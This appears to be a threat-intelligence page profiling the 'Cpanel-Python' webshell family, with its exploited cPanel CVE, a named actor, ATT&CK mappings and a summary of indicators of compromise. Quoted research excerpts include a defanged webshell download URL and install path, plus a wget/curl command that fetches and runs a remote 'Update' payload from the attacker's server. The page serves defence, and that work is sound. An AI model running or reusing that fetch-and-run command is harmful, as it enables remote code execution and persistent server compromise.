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Cpanel-Python

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EXPLOITED CVES

Vulnerabilities exploited

1 CVE Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.

1 CVES
CVE-2026-41940cPanel & WHM Authentication Bypass via Session-File CRLF Injection

植入PHP Webshell, 对应的处理函数为main_installCpanelPy Webshell的下载地址为 https:]//cp.dene.de.]com/cpanel.py ,本地路径为/usr/local/cpanel/cgi-sys/cpanel.py。这个Webshell的名字是Cpanel-Python,支持文件上传&浏览,以及远程命令执行等功能。

via qianxin xlab blogblog.xlab.qianxin.com
THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

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Mr_Rot13

植入PHP Webshell, 对应的处理函数为main_installCpanelPy Webshell的下载地址为 https:]//cp.dene.de.]com/cpanel.py ,本地路径为/usr/local/cpanel/cgi-sys/cpanel.py。这个Webshell的名字是Cpanel-Python,支持文件上传&浏览,以及远程命令执行等功能。

via qianxin xlab blogblog.xlab.qianxin.com
MITRE ATT&CK

Techniques & procedures

4 distinct techniques documented for this family, organized by ATT&CK tactic.

Persistence

2 techniques
T1505Server Software ComponentEvidence1

implant SSH public keys, PHP Webshells, and malicious JS code, deploy the filemanager remote-control tool

T1505.003Web ShellEvidence2

Implant PHP Webshell... The Webshell's download address is https:]//cp.dene.de.]com/cpanel.py , with a local path of /usr/local/cpanel/cgi-sys/cpanel.py. This Webshell is named Cpanel-Python and supports file upload & browsing, as well as remote command execution.

Stealth

1 technique
T1036MasqueradingEvidence1

这个所谓的Update文件就是我们前文所说的Payload感染器... Webshell的名字是Cpanel-Python... 名为helper的PHP文件... 前部分代码来自WordPress系统文件options.php

Command and Control

1 technique
T1105Ingress Tool TransferEvidence2

Its function is to request a malicious payload named Update from the download server cp.dene.[de.com , and run it continuously in the background using the nohup command... wget -q -O "$F" 'https://cp.dene.[de.com/Update' ... || curl -sk -o "$F" 'https://cp.dene.[de.com/Update'

INDICATORS OF COMPROMISE

IOCs tracked for this family

1 indicator attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

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Network
1 tracked

IPs, domains, and DNS infrastructure linked to this family.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app1 month ago
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IOC matching1

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Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities1

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping4

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.